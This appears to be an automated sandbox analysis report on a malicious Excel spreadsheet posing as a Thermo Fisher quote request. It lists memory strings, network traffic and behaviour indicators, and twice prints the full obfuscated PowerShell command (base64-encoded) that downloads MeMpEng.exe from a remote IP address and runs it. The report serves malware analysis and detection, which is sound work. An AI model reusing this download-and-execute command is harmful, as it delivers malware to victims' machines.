Source: mshta.exe, 00000004.00000003.406480002.0000000003352000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.406197716.0000000003352000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.405684824.0000000003352000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.407362361.0000000003352000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.429105773.000000001C315000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.460855447.0000000004650000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.458414156.000000000464F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.461457763.0000000004651000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.453929109.000000000464C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: powershell.exe, 00000007.00000002.428470828.00000000122F1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000007.00000002.428470828.00000000122F1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000007.00000002.428470828.00000000122F1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000007.00000002.428470828.00000000122F1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://nuget.org/nuget.exe
Source: mshta.exe, 00000004.00000003.406480002.0000000003352000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.406197716.0000000003352000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.405684824.0000000003352000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.407362361.0000000003352000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.429105773.000000001C2A9000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.429105773.000000001C315000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.461450253.000000000462D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.460855447.000000000462C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.460855447.0000000004650000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.458414156.000000000464F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.461457763.0000000004651000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.453929109.000000000464C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://secure.comodo.com/CPS0
Source: mshta.exe, 00000004.00000003.406480002.0000000003352000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.406197716.0000000003352000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.405684824.0000000003352000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.407362361.0000000003352000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.460892429.0000000004679000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.453929109.0000000004679000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.458414156.0000000004679000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.461457763.0000000004679000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.458342798.00000000004AE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.460919609.00000000004AE000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000002.461175381.00000000004AE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://zhort.de/
Source: mshta.exe, 00000004.00000003.406480002.0000000003384000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.407362361.0000000003384000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.406197716.0000000003384000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.405684824.0000000003384000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://zhort.de/.n
Source: mshta.exe, 00000004.00000003.406507991.0000000000111000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.405709089.0000000000111000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.406249616.0000000000111000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.407210728.0000000000111000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.406947877.0000000000111000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://zhort.de/60
Source: mshta.exe, 0000000C.00000002.461061796.000000000047A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://zhort.de/6XcI3x
Source: Thermo Fisher RFQ_TFS-1805.xls, ~DF8BC8A5344F5550C8.TMP.0.dr String found in binary or memory: https://zhort.de/6XcI3xI
Source: mshta.exe, 00000004.00000002.407167723.00000000000CA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://zhort.de/6XcI3xQ
Source: mshta.exe, 0000000C.00000002.461061796.000000000047A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://zhort.de/6XcI3xi
Source: mshta.exe, 0000000C.00000002.461061796.000000000047A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://zhort.de/6XcI3xp
Source: mshta.exe, 0000000C.00000003.460855447.000000000468E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.458414156.000000000468E000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.453929109.000000000468E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://zhort.de/6XcI3xta
Source: mshta.exe, 00000004.00000002.407362361.00000000033A6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.406197716.00000000033A6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.406480002.00000000033A6000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.405684824.00000000033A6000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://zhort.de/6XcI3xtalicyu
Source: mshta.exe, 0000000C.00000002.461450253.000000000462D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 0000000C.00000003.460855447.000000000462C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://zhort.de/Fi
Source: mshta.exe, 00000004.00000003.406507991.0000000000111000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.405709089.0000000000111000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.406249616.0000000000111000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.407210728.0000000000111000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.406947877.0000000000111000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://zhort.de/tr
Source: unknown Network traffic detected: HTTP traffic on port 49161 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49163 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49168
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49166
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49163
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49161
Source: unknown Network traffic detected: HTTP traffic on port 49168 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49166 -> 443
Source: unknown HTTPS traffic detected: 88.99.66.38:443 -> 192.168.2.22:49161 version: TLS 1.2
Source: unknown HTTPS traffic detected: 88.99.66.38:443 -> 192.168.2.22:49163 version: TLS 1.2
Source: unknown HTTPS traffic detected: 88.99.66.38:443 -> 192.168.2.22:49168 version: TLS 1.2
Contains functionality for read data from the clipboard
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe Code function: 11_2_00405718 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard, 11_2_00405718
Creates a window with clipboard capturing capabilities
Source: C:\Windows\System32\mshta.exe Window created: window name: CLIPBRDWNDCLASS Jump to behavior
Source: C:\Windows\System32\mshta.exe Window created: window name: CLIPBRDWNDCLASS Jump to behavior

System Summary
barindex
Excel sheet contains many unusual embedded objects
Source: Thermo Fisher RFQ_TFS-1805.xls OLE: Microsoft Excel 2007+
Source: Thermo Fisher RFQ_TFS-1805.xls OLE: Microsoft Excel 2007+
Source: ~DF8BC8A5344F5550C8.TMP.0.dr OLE: Microsoft Excel 2007+
Source: ~DF8BC8A5344F5550C8.TMP.0.dr OLE: Microsoft Excel 2007+
Microsoft Office drops suspicious files
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\ideanetowroking[1].hta Jump to behavior
Powershell drops PE file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\MeMpEng[1].exe Jump to dropped file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Roaming\MeMpEng.exe Jump to dropped file
Abnormal high CPU Usage
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe Process Stats: CPU usage > 49%
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe Memory allocated: 770B0000 page execute and read and write Jump to behavior
Contains functionality to shutdown / reboot the system
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe Code function: 11_2_0040352F EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrlenW,wsprintfW,GetFileAttributesW,DeleteFileW,SetCurrentDirectoryW,CopyFileW,OleUninitialize,ExitProcess,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 11_2_0040352F
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe Code function: 20_2_0040352F EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrlenW,wsprintfW,GetFileAttributesW,DeleteFileW,SetCurrentDirectoryW,CopyFileW,OleUninitialize,ExitProcess,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 20_2_0040352F
Creates files inside the system directory
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe File created: C:\Windows\resources\0409 Jump to behavior
Detected potential crypto function
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 7_2_000007FE8997352E 7_2_000007FE8997352E
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 7_2_000007FE899776AD 7_2_000007FE899776AD
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe Code function: 11_2_729F1BFF 11_2_729F1BFF
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe Code function: 20_2_6A2B1BFF 20_2_6A2B1BFF
Document embeds suspicious OLE2 link
Source: Thermo Fisher RFQ_TFS-1805.xls Stream path 'MBD004B4618/\x1Ole' : https://zhort.de/6XcI3xI|Ji%wK<6MU>=kbz],3oCa 8$gT&"q:fg%2fE9ac\E PuZan2mT_aAFJ#Tc43TC+`GSK`n{>lxOE=RXitwh)noMaK0zSxdWy5Y3ys5COwLfff0jJqgeho3sgXifXKFaviqArVYhMTfZzmRSR4KcAN20MB0lQJsEaKI52v3kn34NSFUgJY4Z4VFBtgtMbOqBz24ZHj"P<>Ud&&
Source: ~DF8BC8A5344F5550C8.TMP.0.dr Stream path 'MBD004B4618/\x1Ole' : https://zhort.de/6XcI3xI|Ji%wK<6MU>=kbz],3oCa 8$gT&"q:fg%2fE9ac\E PuZan2mT_aAFJ#Tc43TC+`GSK`n{>lxOE=RXitwh)noMaK0zSxdWy5Y3ys5COwLfff0jJqgeho3sgXifXKFaviqArVYhMTfZzmRSR4KcAN20MB0lQJsEaKI52v3kn34NSFUgJY4Z4VFBtgtMbOqBz24ZHj"P<>Ud&&
Dropped file seen in connection with other malware
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\Temp\nsn59E.tmp\LangDLL.dll 131AA0DF90C08DCE2EECEE46CCE8759E9AFFF04BF15B7B0002C2A53AE5E92C36
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\Temp\nsn59E.tmp\System.dll 23D618A0293C78CE00F7C6E6DD8B8923621DA7DD1F63A070163EF4C0EC3033D6
Found potential string decryption / allocating functions
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe Code function: String function: 00402DCB appears 52 times
Searches for the Microsoft Outlook file path
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE Jump to behavior
Source: C:\Windows\System32\mshta.exe Key opened: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE Jump to behavior
Source: classification engine Classification label: mal100.troj.expl.evad.winXLS@23/47@3/2
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe Code function: 11_2_0040352F EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrlenW,wsprintfW,GetFileAttributesW,DeleteFileW,SetCurrentDirectoryW,CopyFileW,OleUninitialize,ExitProcess,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 11_2_0040352F
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe Code function: 20_2_0040352F EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrlenW,wsprintfW,GetFileAttributesW,DeleteFileW,SetCurrentDirectoryW,CopyFileW,OleUninitialize,ExitProcess,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 20_2_0040352F
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe Code function: 11_2_004049C4 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW, 11_2_004049C4
Source: C:\Users\user\AppData\Roaming\MeMpEng.exe Code function: 11_2_004021CF CoCreateInstance, 11_2_004021CF
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Roaming\MeMpEng.exe Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Mutant created: NULL
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Temp\CVR7C40.tmp Jump to behavior
Source: Thermo Fisher RFQ_TFS-1805.xls OLE indicator, Workbook stream: true
Source: ~DF8BC8A5344F5550C8.TMP.0.dr OLE indicator, Workbook stream: true
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: .................P................Z.......Z.....}..w..............w.......w......1w.....(.P.......w......3w......................M.............. Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................Cm......................?.|k....}..w.....M......\.y.......w.............(.P............. .......8............................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: .........................................M......}..w.............BQ.......|k......Q.....(.P............. ....................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................Cm......................?.|k....}..w.....M......\.y.......w.............(.P............. .......8............................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: .........................................M......}..w.............BQ.......|k......Q.....(.P............. ....................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................t.h.a.t. .t.h.e. .p.a.t.h. .i.s. .c.o.r.r.e.c.t. .a.n.d. .t.r.y. .a.g.a.i.n.............N....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1..BQ.......|k......Q.....(.P............. ............... ....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: .........................................M......}..w.............BQ.......|k......Q.....(.P............. ....................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.(.P............. ...............8....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: .........................................M......}..w.............BQ.......|k......Q.....(.P............. ....................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ . . .n.g.). .[.].,. .C.o.m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n... ...............F....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: .........................................M......}..w.............BQ.......|k......Q.....(.P............. ...............l....................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ ........M......}..w.............BQ.......|k......Q.....(.P............. ....................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: .................M..............0.G".....WY.....}..w....8.......@Ex.....^...............(.P............. ....................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: .................M.......................WY.....}..w....8.......@Ex.....^...............(.P............. ....................................... Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: .................Pf.............................}..w..............D.......D......1D.....(.P.......D......3D......................*..............
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................Cmf.....................v.nk....}..w.....*......\.F.......D.............(.P.....h.......d.......................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: .........................................*......}..w..............l.......nk....`Q......(.P.....h.......d.......................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................Cmf.....................v.nk....}..w.....*......\.F.......D.............(.P.....h.......d.......................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: .........................................*......}..w..............l.......nk....`Q......(.P.....h.......d.......................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................t.h.a.t. .t.h.e. .p.a.t.h. .i.s. .c.o.r.r.e.c.t. .a.n.d. .t.r.y. .a.g.a.i.n.............N.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1...l.......nk....`Q......(.P.....h.......d............... .......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: .........................................*......}..w..............l.......nk....`Q......(.P.....h.......d.......................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.(.P.....h.......d...............8.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: .........................................*......}..w..............l.......nk....`Q......(.P.....h.......d.......................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ . . .n.g.). .[.].,. .C.o.m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n...d...............F.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: .........................................*......}..w..............l.......nk....`Q......(.P.....h.......d...............l.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ ........*......}..w..............l.......nk....`Q......(.P.....h.......d.......................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: .................*..............0..).{...W......}..w............@EE.....^...............(.P.....h.......d.......................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Console Write: .................*...................{...W......}..w............@EE.....^...............(.P.....h.......d.......................................
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA Jump to behavior
Source: C:\Windows\System32\mshta.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\mshta.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\mshta.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\mshta.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\mshta.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\mshta.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\mshta.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File read: C:\Windows\System32\drivers\etc\hosts
Source: Thermo Fisher RFQ_TFS-1805.xls Virustotal: Detection: 20%
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process created: C:\Windows\System32\mshta.exe C:\Windows\System32\mshta.exe -Embedding
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/C pOwERShEll.eXE -Ex byPasS -NOP -w 1 -C DEvicEcREdeNTIaLdEployment ; Iex($(IEx('[SyStem.TExT.EncODing]'+[CHaR]0X3A+[chAr]0X3a+'UTF8.getsTRIng([sySTEm.CONVErT]'+[CHaR]58+[Char]0x3A+'fROMBASE64StRiNG('+[CHar]34+'JE9TQzgxICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJFUkRFRmluSVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSTG1vTi5kTGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBGY1pjall6LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzc1hlUSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmNVelAsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZSmdRSEt2LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVckIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInB1UWd1aERYUXkiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV3JKQWJ0TVcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkT1NDODE6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTY2LzM0MC9NZU1wRW5nLmV4ZSIsIiRlblY6QVBQREFUQVxNZU1wRW5nLmV4ZSIsMCwwKTtTdEFydC1TbGVFcCgzKTtzdEFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXE1lTXBFbmcuZXhlIg=='+[CHAr]0X22+'))')))"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOwERShEll.eXE -Ex byPasS -NOP -w 1 -C DEvicEcREdeNTIaLdEployment ; Iex($(IEx('[SyStem.TExT.EncODing]'+[CHaR]0X3A+[chAr]0X3a+'UTF8.getsTRIng([sySTEm.CONVErT]'+[CHaR]58+[Char]0x3A+'fROMBASE64StRiNG('+[CHar]34+'JE9TQzgxICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYWRELXRZUGUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJFUkRFRmluSVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSTG1vTi5kTGwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHBGY1pjall6LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzc1hlUSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZmNVelAsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBZSmdRSEt2LEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBVckIpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgInB1UWd1aERYUXkiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV3JKQWJ0TVcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkT1NDODE6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTY2LzM0MC9NZU1wRW5nLmV4ZSIsIiRlblY6QVBQREFUQVxNZU1wRW5nLmV4ZSIsMCwwKTtTdEFydC1TbGVFcCgzKTtzdEFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJGVuVjpBUFBEQVRBXE1lTXBFbmcuZXhlIg=='+[CHAr]0X22+'))')))"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\nxtolslo\nxtolslo.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESA15F.tmp" "c:\Users\user\AppData\Local\Temp\nxtolslo\CSCFB69AE6B65A0404EAF48BF1216DF885C.TMP"
